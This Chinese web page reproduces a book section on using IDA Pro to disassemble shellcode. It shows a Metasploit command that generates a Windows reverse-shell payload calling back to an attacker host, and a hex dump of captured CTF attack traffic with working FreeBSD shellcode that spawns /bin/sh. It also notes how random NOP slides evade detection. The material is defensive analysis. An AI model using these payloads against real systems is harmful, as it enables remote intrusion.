返回介绍

22.4 分析 shellcode

发布于 2024-10-11 21:05:49 字数 4984 浏览 0 评论 0 收藏 0

到现在为止,本章主要讨论将 IDA 作为攻击工具的用法。在结束讨论之前,我们将至少提供一个示例,说明如何将 IDA 用作防御性工具。与任何其他二进制代码一样,要确定 shellcode 的作用,只有一种办法,就是对它进行反汇编。当然,首先你必须获得一段 shellcode 。如果你的好奇心较重,总是想知道 Metasploit 有效负载的运行机制,那么,你只需要使用 Metasploit 生成一个原始形式的有效负载,然后反汇编得到的二进制大对象(blob )即可。

下面的 Metasploit 命令生成一个有效负载,它回调攻击者计算机上的 4444 端口,并为攻击者提供目标 Windows 计算机上的一个 shell :

# ./msfpayload windows/shell_reverse_tcp LHOST=192.168.15.20 R >  
w32_reverse_4444

生成的文件包含所请求的有效负载,它为原始的二进制形式。这个文件可以在 IDA 中打开(以二进制格式,因为它没有特定的格式),并通过将显示的字节转换成代码生成一个反汇编代码清单。

另一个 shellcode 可能出现的地方是网络数据包捕获(network packet capture)。要确定到底哪些数据包包含 shellcode 可能较为困难,不过,你可以查阅大量有关网络安全的书,它们会告诉你如何找到所有这些恶意数据包。现在,我们以在 DEFCON 18 的“夺旗赛”网络中看到的一个重新汇编的客户端攻击数据流为例:

00000000   AD 02 0E 08  01 00 00 00  47 43 4E 93  43 4B 91 90  ........GCN.CK..  
00000010   92 47 4E 46  96 46 41 4A  43 4F 99 41  40 49 48 43  .GNF.FAJCO.A@IHC  
00000020   4A 4E 4B 43  42 49 93 4B  4A 41 47 46  46 46 43 90  JNKCBI.KJAGFFFC.  
00000030   4E 46 97 4A  43 90 42 91  46 90 4E 97  42 48 41 48  NF.JC.B.F.N.BHAH  
00000040   97 93 48 97  93 42 40 4B  99 4A 6A 02  58 CD 80 09  ..H..B@K.Jj.X...  
00000050   D2 75 06 6A  01 58 50 CD  80 33 C0 B4  10 2B E0 31  .u.j.XP..3...+.1  
00000060   D2 52 89 E6  52 52 B2 80  52 B2 04 52  56 52 52 66  .R..RR..R..RVRRf  
00000070   FF 46 E8 6A  1D 58 CD 80  81 3E 48 41  43 4B 75 EF  .F.j.X...>HACKu.  
00000080   5A 5F 6A 02  59 6A 5A 58  99 51 57 51  CD 80 49 79  Z_j.YjZX.QWQ..Iy  
00000090   F4 52 68 2F  2F 73 68 68  2F 62 69 6E  89 E3 50 54  .Rh//shh/bin..PT  
000000A0   53 53 B0 3B  CD 80 41 41  49 47 41 93  97 97 4B 48  SS.;..AAIGA...KH

很明显,这里的数据既包含 ASCII 数据,又包含二进制数据。基于与这个特殊的网络连接有关的其他数据,我们认为其中的二进制数据为 shellcode 。通常,Wireshark1 等数据包分析工具能够将 TCP 会话内容直接提取到一个文件中。在使用 Wireshark 时,如果你发现一个有趣的 TCP 会话,你可以使用 Follow TCP Stream(跟踪 TCP 流)命令,并将原始的流内容保存到文件中。然后,再将得到的文件加载到 IDA 中(使用 IDA 的二进制加载器),继续分析。这里显示的内容是一个典型的网络攻击,其中的 shellcode 与应用程序层内容混杂在一起。为了正确反汇编这里的 shellcode ,你必须正确定位攻击者的有效负载中的第一个字节。完成这个任务的困难程度因攻击而异。有时候,我们明显可以看到长长的“NOP 滑道”(x86 攻击中长长的 0x90 序列),而在其他情况下(如当前的例子),定位 NOP ,shellcode 可能并不明显。例如,前面的十六进制数据中实际上就包含一个 NOP 滑道,但它不是真正的 x86 NOP 滑道,而是随机生成的一字节指令序列,这些指令对于随后使用的 shellcode 并无任何影响。由于这类 NOP 滑道拥有无穷数量的排列组合方式,因而网络入侵检测系统几乎很难识别这些 NOP 滑道并就此发出警告。最后,了解被攻击的应用程序有关的信息,可以帮助你区分应用程序使用的数据元素与将要执行的 shellcode 。不需要付出很大的努力,IDA 即可将前面的二进制内容反汇编成下面的代码:

1. 参见 http://www.wireshark.org/

➊   seg000:00000000           db 0ADh ; ¡  
   seg000:00000001           db    2  
   seg000:00000002           db  0Eh  
   seg000:00000003           db    8  
   seg000:00000004           db    1  
   seg000:00000005           db    0  
   seg000:00000006           db    0  
   seg000:00000007           db    0  
   seg000:00000008 ; -----------------------------------------------------------
   seg000:00000008           inc     edi  
   seg000:00000009           inc     ebx  
   seg000:0000000A           dec     esi  
   ...             ; NOP slide and shellcode initialization omitted  
   seg000:0000006D           push    edx  
   seg000:0000006E           push    edx  
   seg000:0000006F  
   seg000:0000006F loc_6F:                    ; CODE XREF:  seg000:0000007E↓ j  
   seg000:0000006F           inc     word ptr [esi-18h]  
   seg000:00000073           push    1Dh  
   seg000:00000075           pop     eax  
➋   seg000:00000076           int     80h ; LINUX - sys_pause  
   seg000:00000078           cmp     dword ptr [esi], 4B434148h  
   seg000:0000007E           jnz     short loc_6F  
   seg000:00000080           pop     edx  
   seg000:00000081           pop     edi  
   seg000:00000082           push    2  
   seg000:00000084           pop     ecx  
   seg000:00000085  
   seg000:00000085 loc_85:                    ; CODE XREF:  seg000:0000008F↓ j  
   seg000:00000085           push    5Ah ; 'Z'  
   seg000:00000087           pop     eax  
   seg000:00000088           cdq  
   seg000:00000089           push    ecx  
   seg000:0000008A           push    edi  
   seg000:0000008B           push    ecx  
➌   seg000:0000008C           int     80h ; LINUX - old_mmap  
   seg000:0000008E           dec     ecx  
   seg000:0000008F           jns     short loc_85  
   seg000:00000091           push    edx  
   seg000:00000092           push    'hs//'  
   seg000:00000097           push    'nib/'  
   ...             ; continues to invoke execve to spawn the shell

值得注意的是,该数据流中的前 8 个字节(➊)实际上是协议数据,而不是 shellcode ,因此我们选择不对它们进行反汇编。而且,IDA 似乎错误地标识了➋处和➌处的系统调用。我们忽略了一个事实,即此入侵程序针对的是 FreeBSD 应用程序,这将有助于对有效负载中使用的系统调用编号进行解码。由于 IDA 只能为 Linux 系统调用编号提供注释,因此,我们需要进行一些研究才能得知:FreeBSD 系统调用 29 (1dh)实际为 recvfrom (而非 pause ),系统调用 90 (5Ah )实际为 dup2 函数(而非 old_mmap )。

通常,由于 shellcode 中缺乏对 IDA 有用的头部信息,因此,要想正确反汇编 shellcode ,你必须特别仔细。此外,shellcode 编写者经常使用 shellcode 编码器来避开入侵检测系统。这类编码器的作用与对标准二进制文件使用的模糊工具非常类似,这进一步增加了反汇编 shellcode 的难度。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文